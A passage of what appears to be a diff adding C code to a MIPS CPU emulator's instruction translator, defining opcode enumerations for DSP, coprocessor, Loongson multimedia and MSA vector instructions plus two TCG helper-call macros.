OPC_SHRA_R_PW = (0x15 << 6) | OPC_SHLL_OB_DSP, + OPC_SHRAV_OB = (0x06 << 6) | OPC_SHLL_OB_DSP, + OPC_SHRAV_R_OB = (0x07 << 6) | OPC_SHLL_OB_DSP, + OPC_SHRAV_PW = (0x13 << 6) | OPC_SHLL_OB_DSP, + OPC_SHRAV_R_PW = (0x17 << 6) | OPC_SHLL_OB_DSP, + OPC_SHRAV_QH = (0x0B << 6) | OPC_SHLL_OB_DSP, + OPC_SHRAV_R_QH = (0x0F << 6) | OPC_SHLL_OB_DSP, + OPC_SHRLV_OB = (0x03 << 6) | OPC_SHLL_OB_DSP, + OPC_SHRLV_QH = (0x1B << 6) | OPC_SHLL_OB_DSP, + OPC_SHLL_OB = (0x00 << 6) | OPC_SHLL_OB_DSP, + OPC_SHLL_QH = (0x08 << 6) | OPC_SHLL_OB_DSP, + OPC_SHLL_S_QH = (0x0C << 6) | OPC_SHLL_OB_DSP, + OPC_SHRA_OB = (0x04 << 6) | OPC_SHLL_OB_DSP, + OPC_SHRA_R_OB = (0x05 << 6) | OPC_SHLL_OB_DSP, + OPC_SHRA_QH = (0x09 << 6) | OPC_SHLL_OB_DSP, + OPC_SHRA_R_QH = (0x0D << 6) | OPC_SHLL_OB_DSP, + OPC_SHRL_OB = (0x01 << 6) | OPC_SHLL_OB_DSP, + OPC_SHRL_QH = (0x19 << 6) | OPC_SHLL_OB_DSP, +}; + +/* Coprocessor 0 (rs field) */ +#define MASK_CP0(op) MASK_OP_MAJOR(op) | (op & (0x1F << 21)) + +enum { + OPC_MFC0 = (0x00 << 21) | OPC_CP0, + OPC_DMFC0 = (0x01 << 21) | OPC_CP0, + OPC_MTC0 = (0x04 << 21) | OPC_CP0, + OPC_DMTC0 = (0x05 << 21) | OPC_CP0, + OPC_MFTR = (0x08 << 21) | OPC_CP0, + OPC_RDPGPR = (0x0A << 21) | OPC_CP0, + OPC_MFMC0 = (0x0B << 21) | OPC_CP0, + OPC_MTTR = (0x0C << 21) | OPC_CP0, + OPC_WRPGPR = (0x0E << 21) | OPC_CP0, + OPC_C0 = (0x10 << 21) | OPC_CP0, + OPC_C0_FIRST = (0x10 << 21) | OPC_CP0, + OPC_C0_LAST = (0x1F << 21) | OPC_CP0, +}; + +/* MFMC0 opcodes */ +#define MASK_MFMC0(op) MASK_CP0(op) | (op & 0xFFFF) + +enum { + OPC_DMT = 0x01 | (0 << 5) | (0x0F << 6) | (0x01 << 11) | OPC_MFMC0, + OPC_EMT = 0x01 | (1 << 5) | (0x0F << 6) | (0x01 << 11) | OPC_MFMC0, + OPC_DVPE = 0x01 | (0 << 5) | OPC_MFMC0, + OPC_EVPE = 0x01 | (1 << 5) | OPC_MFMC0, + OPC_DI = (0 << 5) | (0x0C << 11) | OPC_MFMC0, + OPC_EI = (1 << 5) | (0x0C << 11) | OPC_MFMC0, +}; + +/* Coprocessor 0 (with rs == C0) */ +#define MASK_C0(op) MASK_CP0(op) | (op & 0x3F) + +enum { + OPC_TLBR = 0x01 | OPC_C0, + OPC_TLBWI = 0x02 | OPC_C0, + OPC_TLBINV = 0x03 | OPC_C0, + OPC_TLBINVF = 0x04 | OPC_C0, + OPC_TLBWR = 0x06 | OPC_C0, + OPC_TLBP = 0x08 | OPC_C0, + OPC_RFE = 0x10 | OPC_C0, + OPC_ERET = 0x18 | OPC_C0, + OPC_DERET = 0x1F | OPC_C0, + OPC_WAIT = 0x20 | OPC_C0, +}; + +/* Coprocessor 1 (rs field) */ +#define MASK_CP1(op) MASK_OP_MAJOR(op) | (op & (0x1F << 21)) + +/* Values for the fmt field in FP instructions */ +enum { + /* 0 - 15 are reserved */ + FMT_S = 16, /* single fp */ + FMT_D = 17, /* double fp */ + FMT_E = 18, /* extended fp */ + FMT_Q = 19, /* quad fp */ + FMT_W = 20, /* 32-bit fixed */ + FMT_L = 21, /* 64-bit fixed */ + FMT_PS = 22, /* paired single fp */ + /* 23 - 31 are reserved */ +}; + +enum { + OPC_MFC1 = (0x00 << 21) | OPC_CP1, + OPC_DMFC1 = (0x01 << 21) | OPC_CP1, + OPC_CFC1 = (0x02 << 21) | OPC_CP1, + OPC_MFHC1 = (0x03 << 21) | OPC_CP1, + OPC_MTC1 = (0x04 << 21) | OPC_CP1, + OPC_DMTC1 = (0x05 << 21) | OPC_CP1, + OPC_CTC1 = (0x06 << 21) | OPC_CP1, + OPC_MTHC1 = (0x07 << 21) | OPC_CP1, + OPC_BC1 = (0x08 << 21) | OPC_CP1, /* bc */ + OPC_BC1ANY2 = (0x09 << 21) | OPC_CP1, + OPC_BC1ANY4 = (0x0A << 21) | OPC_CP1, + OPC_BZ_V = (0x0B << 21) | OPC_CP1, + OPC_BNZ_V = (0x0F << 21) | OPC_CP1, + OPC_S_FMT = (FMT_S << 21) | OPC_CP1, + OPC_D_FMT = (FMT_D << 21) | OPC_CP1, + OPC_E_FMT = (FMT_E << 21) | OPC_CP1, + OPC_Q_FMT = (FMT_Q << 21) | OPC_CP1, + OPC_W_FMT = (FMT_W << 21) | OPC_CP1, + OPC_L_FMT = (FMT_L << 21) | OPC_CP1, + OPC_PS_FMT = (FMT_PS << 21) | OPC_CP1, + OPC_BC1EQZ = (0x09 << 21) | OPC_CP1, + OPC_BC1NEZ = (0x0D << 21) | OPC_CP1, + OPC_BZ_B = (0x18 << 21) | OPC_CP1, + OPC_BZ_H = (0x19 << 21) | OPC_CP1, + OPC_BZ_W = (0x1A << 21) | OPC_CP1, + OPC_BZ_D = (0x1B << 21) | OPC_CP1, + OPC_BNZ_B = (0x1C << 21) | OPC_CP1, + OPC_BNZ_H = (0x1D << 21) | OPC_CP1, + OPC_BNZ_W = (0x1E << 21) | OPC_CP1, + OPC_BNZ_D = (0x1F << 21) | OPC_CP1, +}; + +#define MASK_CP1_FUNC(op) MASK_CP1(op) | (op & 0x3F) +#define MASK_BC1(op) MASK_CP1(op) | (op & (0x3 << 16)) + +enum { + OPC_BC1F = (0x00 << 16) | OPC_BC1, + OPC_BC1T = (0x01 << 16) | OPC_BC1, + OPC_BC1FL = (0x02 << 16) | OPC_BC1, + OPC_BC1TL = (0x03 << 16) | OPC_BC1, +}; + +enum { + OPC_BC1FANY2 = (0x00 << 16) | OPC_BC1ANY2, + OPC_BC1TANY2 = (0x01 << 16) | OPC_BC1ANY2, +}; + +enum { + OPC_BC1FANY4 = (0x00 << 16) | OPC_BC1ANY4, + OPC_BC1TANY4 = (0x01 << 16) | OPC_BC1ANY4, +}; + +#define MASK_CP2(op) MASK_OP_MAJOR(op) | (op & (0x1F << 21)) + +enum { + OPC_MFC2 = (0x00 << 21) | OPC_CP2, + OPC_DMFC2 = (0x01 << 21) | OPC_CP2, + OPC_CFC2 = (0x02 << 21) | OPC_CP2, + OPC_MFHC2 = (0x03 << 21) | OPC_CP2, + OPC_MTC2 = (0x04 << 21) | OPC_CP2, + OPC_DMTC2 = (0x05 << 21) | OPC_CP2, + OPC_CTC2 = (0x06 << 21) | OPC_CP2, + OPC_MTHC2 = (0x07 << 21) | OPC_CP2, + OPC_BC2 = (0x08 << 21) | OPC_CP2, + OPC_BC2EQZ = (0x09 << 21) | OPC_CP2, + OPC_BC2NEZ = (0x0D << 21) | OPC_CP2, +}; + +#define MASK_LMI(op) (MASK_OP_MAJOR(op) | (op & (0x1F << 21)) | (op & 0x1F)) + +enum { + OPC_PADDSH = (24 << 21) | (0x00) | OPC_CP2, + OPC_PADDUSH = (25 << 21) | (0x00) | OPC_CP2, + OPC_PADDH = (26 << 21) | (0x00) | OPC_CP2, + OPC_PADDW = (27 << 21) | (0x00) | OPC_CP2, + OPC_PADDSB = (28 << 21) | (0x00) | OPC_CP2, + OPC_PADDUSB = (29 << 21) | (0x00) | OPC_CP2, + OPC_PADDB = (30 << 21) | (0x00) | OPC_CP2, + OPC_PADDD = (31 << 21) | (0x00) | OPC_CP2, + + OPC_PSUBSH = (24 << 21) | (0x01) | OPC_CP2, + OPC_PSUBUSH = (25 << 21) | (0x01) | OPC_CP2, + OPC_PSUBH = (26 << 21) | (0x01) | OPC_CP2, + OPC_PSUBW = (27 << 21) | (0x01) | OPC_CP2, + OPC_PSUBSB = (28 << 21) | (0x01) | OPC_CP2, + OPC_PSUBUSB = (29 << 21) | (0x01) | OPC_CP2, + OPC_PSUBB = (30 << 21) | (0x01) | OPC_CP2, + OPC_PSUBD = (31 << 21) | (0x01) | OPC_CP2, + + OPC_PSHUFH = (24 << 21) | (0x02) | OPC_CP2, + OPC_PACKSSWH = (25 << 21) | (0x02) | OPC_CP2, + OPC_PACKSSHB = (26 << 21) | (0x02) | OPC_CP2, + OPC_PACKUSHB = (27 << 21) | (0x02) | OPC_CP2, + OPC_XOR_CP2 = (28 << 21) | (0x02) | OPC_CP2, + OPC_NOR_CP2 = (29 << 21) | (0x02) | OPC_CP2, + OPC_AND_CP2 = (30 << 21) | (0x02) | OPC_CP2, + OPC_PANDN = (31 << 21) | (0x02) | OPC_CP2, + + OPC_PUNPCKLHW = (24 << 21) | (0x03) | OPC_CP2, + OPC_PUNPCKHHW = (25 << 21) | (0x03) | OPC_CP2, + OPC_PUNPCKLBH = (26 << 21) | (0x03) | OPC_CP2, + OPC_PUNPCKHBH = (27 << 21) | (0x03) | OPC_CP2, + OPC_PINSRH_0 = (28 << 21) | (0x03) | OPC_CP2, + OPC_PINSRH_1 = (29 << 21) | (0x03) | OPC_CP2, + OPC_PINSRH_2 = (30 << 21) | (0x03) | OPC_CP2, + OPC_PINSRH_3 = (31 << 21) | (0x03) | OPC_CP2, + + OPC_PAVGH = (24 << 21) | (0x08) | OPC_CP2, + OPC_PAVGB = (25 << 21) | (0x08) | OPC_CP2, + OPC_PMAXSH = (26 << 21) | (0x08) | OPC_CP2, + OPC_PMINSH = (27 << 21) | (0x08) | OPC_CP2, + OPC_PMAXUB = (28 << 21) | (0x08) | OPC_CP2, + OPC_PMINUB = (29 << 21) | (0x08) | OPC_CP2, + + OPC_PCMPEQW = (24 << 21) | (0x09) | OPC_CP2, + OPC_PCMPGTW = (25 << 21) | (0x09) | OPC_CP2, + OPC_PCMPEQH = (26 << 21) | (0x09) | OPC_CP2, + OPC_PCMPGTH = (27 << 21) | (0x09) | OPC_CP2, + OPC_PCMPEQB = (28 << 21) | (0x09) | OPC_CP2, + OPC_PCMPGTB = (29 << 21) | (0x09) | OPC_CP2, + + OPC_PSLLW = (24 << 21) | (0x0A) | OPC_CP2, + OPC_PSLLH = (25 << 21) | (0x0A) | OPC_CP2, + OPC_PMULLH = (26 << 21) | (0x0A) | OPC_CP2, + OPC_PMULHH = (27 << 21) | (0x0A) | OPC_CP2, + OPC_PMULUW = (28 << 21) | (0x0A) | OPC_CP2, + OPC_PMULHUH = (29 << 21) | (0x0A) | OPC_CP2, + + OPC_PSRLW = (24 << 21) | (0x0B) | OPC_CP2, + OPC_PSRLH = (25 << 21) | (0x0B) | OPC_CP2, + OPC_PSRAW = (26 << 21) | (0x0B) | OPC_CP2, + OPC_PSRAH = (27 << 21) | (0x0B) | OPC_CP2, + OPC_PUNPCKLWD = (28 << 21) | (0x0B) | OPC_CP2, + OPC_PUNPCKHWD = (29 << 21) | (0x0B) | OPC_CP2, + + OPC_ADDU_CP2 = (24 << 21) | (0x0C) | OPC_CP2, + OPC_OR_CP2 = (25 << 21) | (0x0C) | OPC_CP2, + OPC_ADD_CP2 = (26 << 21) | (0x0C) | OPC_CP2, + OPC_DADD_CP2 = (27 << 21) | (0x0C) | OPC_CP2, + OPC_SEQU_CP2 = (28 << 21) | (0x0C) | OPC_CP2, + OPC_SEQ_CP2 = (29 << 21) | (0x0C) | OPC_CP2, + + OPC_SUBU_CP2 = (24 << 21) | (0x0D) | OPC_CP2, + OPC_PASUBUB = (25 << 21) | (0x0D) | OPC_CP2, + OPC_SUB_CP2 = (26 << 21) | (0x0D) | OPC_CP2, + OPC_DSUB_CP2 = (27 << 21) | (0x0D) | OPC_CP2, + OPC_SLTU_CP2 = (28 << 21) | (0x0D) | OPC_CP2, + OPC_SLT_CP2 = (29 << 21) | (0x0D) | OPC_CP2, + + OPC_SLL_CP2 = (24 << 21) | (0x0E) | OPC_CP2, + OPC_DSLL_CP2 = (25 << 21) | (0x0E) | OPC_CP2, + OPC_PEXTRH = (26 << 21) | (0x0E) | OPC_CP2, + OPC_PMADDHW = (27 << 21) | (0x0E) | OPC_CP2, + OPC_SLEU_CP2 = (28 << 21) | (0x0E) | OPC_CP2, + OPC_SLE_CP2 = (29 << 21) | (0x0E) | OPC_CP2, + + OPC_SRL_CP2 = (24 << 21) | (0x0F) | OPC_CP2, + OPC_DSRL_CP2 = (25 << 21) | (0x0F) | OPC_CP2, + OPC_SRA_CP2 = (26 << 21) | (0x0F) | OPC_CP2, + OPC_DSRA_CP2 = (27 << 21) | (0x0F) | OPC_CP2, + OPC_BIADD = (28 << 21) | (0x0F) | OPC_CP2, + OPC_PMOVMSKB = (29 << 21) | (0x0F) | OPC_CP2, +}; + + +#define MASK_CP3(op) MASK_OP_MAJOR(op) | (op & 0x3F) + +enum { + OPC_LWXC1 = 0x00 | OPC_CP3, + OPC_LDXC1 = 0x01 | OPC_CP3, + OPC_LUXC1 = 0x05 | OPC_CP3, + OPC_SWXC1 = 0x08 | OPC_CP3, + OPC_SDXC1 = 0x09 | OPC_CP3, + OPC_SUXC1 = 0x0D | OPC_CP3, + OPC_PREFX = 0x0F | OPC_CP3, + OPC_ALNV_PS = 0x1E | OPC_CP3, + OPC_MADD_S = 0x20 | OPC_CP3, + OPC_MADD_D = 0x21 | OPC_CP3, + OPC_MADD_PS = 0x26 | OPC_CP3, + OPC_MSUB_S = 0x28 | OPC_CP3, + OPC_MSUB_D = 0x29 | OPC_CP3, + OPC_MSUB_PS = 0x2E | OPC_CP3, + OPC_NMADD_S = 0x30 | OPC_CP3, + OPC_NMADD_D = 0x31 | OPC_CP3, + OPC_NMADD_PS= 0x36 | OPC_CP3, + OPC_NMSUB_S = 0x38 | OPC_CP3, + OPC_NMSUB_D = 0x39 | OPC_CP3, + OPC_NMSUB_PS= 0x3E | OPC_CP3, +}; + +/* MSA Opcodes */ +#define MASK_MSA_MINOR(op) (MASK_OP_MAJOR(op) | (op & 0x3F)) +enum { + OPC_MSA_I8_00 = 0x00 | OPC_MSA, + OPC_MSA_I8_01 = 0x01 | OPC_MSA, + OPC_MSA_I8_02 = 0x02 | OPC_MSA, + OPC_MSA_I5_06 = 0x06 | OPC_MSA, + OPC_MSA_I5_07 = 0x07 | OPC_MSA, + OPC_MSA_BIT_09 = 0x09 | OPC_MSA, + OPC_MSA_BIT_0A = 0x0A | OPC_MSA, + OPC_MSA_3R_0D = 0x0D | OPC_MSA, + OPC_MSA_3R_0E = 0x0E | OPC_MSA, + OPC_MSA_3R_0F = 0x0F | OPC_MSA, + OPC_MSA_3R_10 = 0x10 | OPC_MSA, + OPC_MSA_3R_11 = 0x11 | OPC_MSA, + OPC_MSA_3R_12 = 0x12 | OPC_MSA, + OPC_MSA_3R_13 = 0x13 | OPC_MSA, + OPC_MSA_3R_14 = 0x14 | OPC_MSA, + OPC_MSA_3R_15 = 0x15 | OPC_MSA, + OPC_MSA_ELM = 0x19 | OPC_MSA, + OPC_MSA_3RF_1A = 0x1A | OPC_MSA, + OPC_MSA_3RF_1B = 0x1B | OPC_MSA, + OPC_MSA_3RF_1C = 0x1C | OPC_MSA, + OPC_MSA_VEC = 0x1E | OPC_MSA, + + /* MI10 instruction */ + OPC_LD_B = (0x20) | OPC_MSA, + OPC_LD_H = (0x21) | OPC_MSA, + OPC_LD_W = (0x22) | OPC_MSA, + OPC_LD_D = (0x23) | OPC_MSA, + OPC_ST_B = (0x24) | OPC_MSA, + OPC_ST_H = (0x25) | OPC_MSA, + OPC_ST_W = (0x26) | OPC_MSA, + OPC_ST_D = (0x27) | OPC_MSA, +}; + +enum { + /* I5 instruction df(bits 22..21) = _b, _h, _w, _d */ + OPC_ADDVI_df = (0x0 << 23) | OPC_MSA_I5_06, + OPC_CEQI_df = (0x0 << 23) | OPC_MSA_I5_07, + OPC_SUBVI_df = (0x1 << 23) | OPC_MSA_I5_06, + OPC_MAXI_S_df = (0x2 << 23) | OPC_MSA_I5_06, + OPC_CLTI_S_df = (0x2 << 23) | OPC_MSA_I5_07, + OPC_MAXI_U_df = (0x3 << 23) | OPC_MSA_I5_06, + OPC_CLTI_U_df = (0x3 << 23) | OPC_MSA_I5_07, + OPC_MINI_S_df = (0x4 << 23) | OPC_MSA_I5_06, + OPC_CLEI_S_df = (0x4 << 23) | OPC_MSA_I5_07, + OPC_MINI_U_df = (0x5 << 23) | OPC_MSA_I5_06, + OPC_CLEI_U_df = (0x5 << 23) | OPC_MSA_I5_07, + OPC_LDI_df = (0x6 << 23) | OPC_MSA_I5_07, + + /* I8 instruction */ + OPC_ANDI_B = (0x0 << 24) | OPC_MSA_I8_00, + OPC_BMNZI_B = (0x0 << 24) | OPC_MSA_I8_01, + OPC_SHF_B = (0x0 << 24) | OPC_MSA_I8_02, + OPC_ORI_B = (0x1 << 24) | OPC_MSA_I8_00, + OPC_BMZI_B = (0x1 << 24) | OPC_MSA_I8_01, + OPC_SHF_H = (0x1 << 24) | OPC_MSA_I8_02, + OPC_NORI_B = (0x2 << 24) | OPC_MSA_I8_00, + OPC_BSELI_B = (0x2 << 24) | OPC_MSA_I8_01, + OPC_SHF_W = (0x2 << 24) | OPC_MSA_I8_02, + OPC_XORI_B = (0x3 << 24) | OPC_MSA_I8_00, + + /* VEC/2R/2RF instruction */ + OPC_AND_V = (0x00 << 21) | OPC_MSA_VEC, + OPC_OR_V = (0x01 << 21) | OPC_MSA_VEC, + OPC_NOR_V = (0x02 << 21) | OPC_MSA_VEC, + OPC_XOR_V = (0x03 << 21) | OPC_MSA_VEC, + OPC_BMNZ_V = (0x04 << 21) | OPC_MSA_VEC, + OPC_BMZ_V = (0x05 << 21) | OPC_MSA_VEC, + OPC_BSEL_V = (0x06 << 21) | OPC_MSA_VEC, + + OPC_MSA_2R = (0x18 << 21) | OPC_MSA_VEC, + OPC_MSA_2RF = (0x19 << 21) | OPC_MSA_VEC, + + /* 2R instruction df(bits 17..16) = _b, _h, _w, _d */ + OPC_FILL_df = (0x00 << 18) | OPC_MSA_2R, + OPC_PCNT_df = (0x01 << 18) | OPC_MSA_2R, + OPC_NLOC_df = (0x02 << 18) | OPC_MSA_2R, + OPC_NLZC_df = (0x03 << 18) | OPC_MSA_2R, + + /* 2RF instruction df(bit 16) = _w, _d */ + OPC_FCLASS_df = (0x00 << 17) | OPC_MSA_2RF, + OPC_FTRUNC_S_df = (0x01 << 17) | OPC_MSA_2RF, + OPC_FTRUNC_U_df = (0x02 << 17) | OPC_MSA_2RF, + OPC_FSQRT_df = (0x03 << 17) | OPC_MSA_2RF, + OPC_FRSQRT_df = (0x04 << 17) | OPC_MSA_2RF, + OPC_FRCP_df = (0x05 << 17) | OPC_MSA_2RF, + OPC_FRINT_df = (0x06 << 17) | OPC_MSA_2RF, + OPC_FLOG2_df = (0x07 << 17) | OPC_MSA_2RF, + OPC_FEXUPL_df = (0x08 << 17) | OPC_MSA_2RF, + OPC_FEXUPR_df = (0x09 << 17) | OPC_MSA_2RF, + OPC_FFQL_df = (0x0A << 17) | OPC_MSA_2RF, + OPC_FFQR_df = (0x0B << 17) | OPC_MSA_2RF, + OPC_FTINT_S_df = (0x0C << 17) | OPC_MSA_2RF, + OPC_FTINT_U_df = (0x0D << 17) | OPC_MSA_2RF, + OPC_FFINT_S_df = (0x0E << 17) | OPC_MSA_2RF, + OPC_FFINT_U_df = (0x0F << 17) | OPC_MSA_2RF, + + /* 3R instruction df(bits 22..21) = _b, _h, _w, d */ + OPC_SLL_df = (0x0 << 23) | OPC_MSA_3R_0D, + OPC_ADDV_df = (0x0 << 23) | OPC_MSA_3R_0E, + OPC_CEQ_df = (0x0 << 23) | OPC_MSA_3R_0F, + OPC_ADD_A_df = (0x0 << 23) | OPC_MSA_3R_10, + OPC_SUBS_S_df = (0x0 << 23) | OPC_MSA_3R_11, + OPC_MULV_df = (0x0 << 23) | OPC_MSA_3R_12, + OPC_DOTP_S_df = (0x0 << 23) | OPC_MSA_3R_13, + OPC_SLD_df = (0x0 << 23) | OPC_MSA_3R_14, + OPC_VSHF_df = (0x0 << 23) | OPC_MSA_3R_15, + OPC_SRA_df = (0x1 << 23) | OPC_MSA_3R_0D, + OPC_SUBV_df = (0x1 << 23) | OPC_MSA_3R_0E, + OPC_ADDS_A_df = (0x1 << 23) | OPC_MSA_3R_10, + OPC_SUBS_U_df = (0x1 << 23) | OPC_MSA_3R_11, + OPC_MADDV_df = (0x1 << 23) | OPC_MSA_3R_12, + OPC_DOTP_U_df = (0x1 << 23) | OPC_MSA_3R_13, + OPC_SPLAT_df = (0x1 << 23) | OPC_MSA_3R_14, + OPC_SRAR_df = (0x1 << 23) | OPC_MSA_3R_15, + OPC_SRL_df = (0x2 << 23) | OPC_MSA_3R_0D, + OPC_MAX_S_df = (0x2 << 23) | OPC_MSA_3R_0E, + OPC_CLT_S_df = (0x2 << 23) | OPC_MSA_3R_0F, + OPC_ADDS_S_df = (0x2 << 23) | OPC_MSA_3R_10, + OPC_SUBSUS_U_df = (0x2 << 23) | OPC_MSA_3R_11, + OPC_MSUBV_df = (0x2 << 23) | OPC_MSA_3R_12, + OPC_DPADD_S_df = (0x2 << 23) | OPC_MSA_3R_13, + OPC_PCKEV_df = (0x2 << 23) | OPC_MSA_3R_14, + OPC_SRLR_df = (0x2 << 23) | OPC_MSA_3R_15, + OPC_BCLR_df = (0x3 << 23) | OPC_MSA_3R_0D, + OPC_MAX_U_df = (0x3 << 23) | OPC_MSA_3R_0E, + OPC_CLT_U_df = (0x3 << 23) | OPC_MSA_3R_0F, + OPC_ADDS_U_df = (0x3 << 23) | OPC_MSA_3R_10, + OPC_SUBSUU_S_df = (0x3 << 23) | OPC_MSA_3R_11, + OPC_DPADD_U_df = (0x3 << 23) | OPC_MSA_3R_13, + OPC_PCKOD_df = (0x3 << 23) | OPC_MSA_3R_14, + OPC_BSET_df = (0x4 << 23) | OPC_MSA_3R_0D, + OPC_MIN_S_df = (0x4 << 23) | OPC_MSA_3R_0E, + OPC_CLE_S_df = (0x4 << 23) | OPC_MSA_3R_0F, + OPC_AVE_S_df = (0x4 << 23) | OPC_MSA_3R_10, + OPC_ASUB_S_df = (0x4 << 23) | OPC_MSA_3R_11, + OPC_DIV_S_df = (0x4 << 23) | OPC_MSA_3R_12, + OPC_DPSUB_S_df = (0x4 << 23) | OPC_MSA_3R_13, + OPC_ILVL_df = (0x4 << 23) | OPC_MSA_3R_14, + OPC_HADD_S_df = (0x4 << 23) | OPC_MSA_3R_15, + OPC_BNEG_df = (0x5 << 23) | OPC_MSA_3R_0D, + OPC_MIN_U_df = (0x5 << 23) | OPC_MSA_3R_0E, + OPC_CLE_U_df = (0x5 << 23) | OPC_MSA_3R_0F, + OPC_AVE_U_df = (0x5 << 23) | OPC_MSA_3R_10, + OPC_ASUB_U_df = (0x5 << 23) | OPC_MSA_3R_11, + OPC_DIV_U_df = (0x5 << 23) | OPC_MSA_3R_12, + OPC_DPSUB_U_df = (0x5 << 23) | OPC_MSA_3R_13, + OPC_ILVR_df = (0x5 << 23) | OPC_MSA_3R_14, + OPC_HADD_U_df = (0x5 << 23) | OPC_MSA_3R_15, + OPC_BINSL_df = (0x6 << 23) | OPC_MSA_3R_0D, + OPC_MAX_A_df = (0x6 << 23) | OPC_MSA_3R_0E, + OPC_AVER_S_df = (0x6 << 23) | OPC_MSA_3R_10, + OPC_MOD_S_df = (0x6 << 23) | OPC_MSA_3R_12, + OPC_ILVEV_df = (0x6 << 23) | OPC_MSA_3R_14, + OPC_HSUB_S_df = (0x6 << 23) | OPC_MSA_3R_15, + OPC_BINSR_df = (0x7 << 23) | OPC_MSA_3R_0D, + OPC_MIN_A_df = (0x7 << 23) | OPC_MSA_3R_0E, + OPC_AVER_U_df = (0x7 << 23) | OPC_MSA_3R_10, + OPC_MOD_U_df = (0x7 << 23) | OPC_MSA_3R_12, + OPC_ILVOD_df = (0x7 << 23) | OPC_MSA_3R_14, + OPC_HSUB_U_df = (0x7 << 23) | OPC_MSA_3R_15, + + /* ELM instructions df(bits 21..16) = _b, _h, _w, _d */ + OPC_SLDI_df = (0x0 << 22) | (0x00 << 16) | OPC_MSA_ELM, + OPC_CTCMSA = (0x0 << 22) | (0x3E << 16) | OPC_MSA_ELM, + OPC_SPLATI_df = (0x1 << 22) | (0x00 << 16) | OPC_MSA_ELM, + OPC_CFCMSA = (0x1 << 22) | (0x3E << 16) | OPC_MSA_ELM, + OPC_COPY_S_df = (0x2 << 22) | (0x00 << 16) | OPC_MSA_ELM, + OPC_MOVE_V = (0x2 << 22) | (0x3E << 16) | OPC_MSA_ELM, + OPC_COPY_U_df = (0x3 << 22) | (0x00 << 16) | OPC_MSA_ELM, + OPC_INSERT_df = (0x4 << 22) | (0x00 << 16) | OPC_MSA_ELM, + OPC_INSVE_df = (0x5 << 22) | (0x00 << 16) | OPC_MSA_ELM, + + /* 3RF instruction _df(bit 21) = _w, _d */ + OPC_FCAF_df = (0x0 << 22) | OPC_MSA_3RF_1A, + OPC_FADD_df = (0x0 << 22) | OPC_MSA_3RF_1B, + OPC_FCUN_df = (0x1 << 22) | OPC_MSA_3RF_1A, + OPC_FSUB_df = (0x1 << 22) | OPC_MSA_3RF_1B, + OPC_FCOR_df = (0x1 << 22) | OPC_MSA_3RF_1C, + OPC_FCEQ_df = (0x2 << 22) | OPC_MSA_3RF_1A, + OPC_FMUL_df = (0x2 << 22) | OPC_MSA_3RF_1B, + OPC_FCUNE_df = (0x2 << 22) | OPC_MSA_3RF_1C, + OPC_FCUEQ_df = (0x3 << 22) | OPC_MSA_3RF_1A, + OPC_FDIV_df = (0x3 << 22) | OPC_MSA_3RF_1B, + OPC_FCNE_df = (0x3 << 22) | OPC_MSA_3RF_1C, + OPC_FCLT_df = (0x4 << 22) | OPC_MSA_3RF_1A, + OPC_FMADD_df = (0x4 << 22) | OPC_MSA_3RF_1B, + OPC_MUL_Q_df = (0x4 << 22) | OPC_MSA_3RF_1C, + OPC_FCULT_df = (0x5 << 22) | OPC_MSA_3RF_1A, + OPC_FMSUB_df = (0x5 << 22) | OPC_MSA_3RF_1B, + OPC_MADD_Q_df = (0x5 << 22) | OPC_MSA_3RF_1C, + OPC_FCLE_df = (0x6 << 22) | OPC_MSA_3RF_1A, + OPC_MSUB_Q_df = (0x6 << 22) | OPC_MSA_3RF_1C, + OPC_FCULE_df = (0x7 << 22) | OPC_MSA_3RF_1A, + OPC_FEXP2_df = (0x7 << 22) | OPC_MSA_3RF_1B, + OPC_FSAF_df = (0x8 << 22) | OPC_MSA_3RF_1A, + OPC_FEXDO_df = (0x8 << 22) | OPC_MSA_3RF_1B, + OPC_FSUN_df = (0x9 << 22) | OPC_MSA_3RF_1A, + OPC_FSOR_df = (0x9 << 22) | OPC_MSA_3RF_1C, + OPC_FSEQ_df = (0xA << 22) | OPC_MSA_3RF_1A, + OPC_FTQ_df = (0xA << 22) | OPC_MSA_3RF_1B, + OPC_FSUNE_df = (0xA << 22) | OPC_MSA_3RF_1C, + OPC_FSUEQ_df = (0xB << 22) | OPC_MSA_3RF_1A, + OPC_FSNE_df = (0xB << 22) | OPC_MSA_3RF_1C, + OPC_FSLT_df = (0xC << 22) | OPC_MSA_3RF_1A, + OPC_FMIN_df = (0xC << 22) | OPC_MSA_3RF_1B, + OPC_MULR_Q_df = (0xC << 22) | OPC_MSA_3RF_1C, + OPC_FSULT_df = (0xD << 22) | OPC_MSA_3RF_1A, + OPC_FMIN_A_df = (0xD << 22) | OPC_MSA_3RF_1B, + OPC_MADDR_Q_df = (0xD << 22) | OPC_MSA_3RF_1C, + OPC_FSLE_df = (0xE << 22) | OPC_MSA_3RF_1A, + OPC_FMAX_df = (0xE << 22) | OPC_MSA_3RF_1B, + OPC_MSUBR_Q_df = (0xE << 22) | OPC_MSA_3RF_1C, + OPC_FSULE_df = (0xF << 22) | OPC_MSA_3RF_1A, + OPC_FMAX_A_df = (0xF << 22) | OPC_MSA_3RF_1B, + + /* BIT instruction df(bits 22..16) = _B _H _W _D */ + OPC_SLLI_df = (0x0 << 23) | OPC_MSA_BIT_09, + OPC_SAT_S_df = (0x0 << 23) | OPC_MSA_BIT_0A, + OPC_SRAI_df = (0x1 << 23) | OPC_MSA_BIT_09, + OPC_SAT_U_df = (0x1 << 23) | OPC_MSA_BIT_0A, + OPC_SRLI_df = (0x2 << 23) | OPC_MSA_BIT_09, + OPC_SRARI_df = (0x2 << 23) | OPC_MSA_BIT_0A, + OPC_BCLRI_df = (0x3 << 23) | OPC_MSA_BIT_09, + OPC_SRLRI_df = (0x3 << 23) | OPC_MSA_BIT_0A, + OPC_BSETI_df = (0x4 << 23) | OPC_MSA_BIT_09, + OPC_BNEGI_df = (0x5 << 23) | OPC_MSA_BIT_09, + OPC_BINSLI_df = (0x6 << 23) | OPC_MSA_BIT_09, + OPC_BINSRI_df = (0x7 << 23) | OPC_MSA_BIT_09, +}; + + +#define gen_helper_0e0i(tcg_ctx, name, arg) do { \ + TCGv_i32 helper_tmp = tcg_const_i32(tcg_ctx, arg); \ + gen_helper_##name(tcg_ctx, tcg_ctx->cpu_env, helper_tmp); \ + tcg_temp_free_i32(tcg_ctx, helper_tmp); \ + } while(0) + +#define gen_helper_0e1i(tcg_ctx, name, arg1, arg2) do { \ + TCGv_i32 helper_tmp = tcg_const_i32(tcg_ctx, arg2); \ + gen_helper_##name(tcg_ctx, tcg_ctx->cpu_env, arg1, helper_tmp); \ + tcg_temp_free_i32(tcg_ctx, helper_tmp); \ + } while(0) + 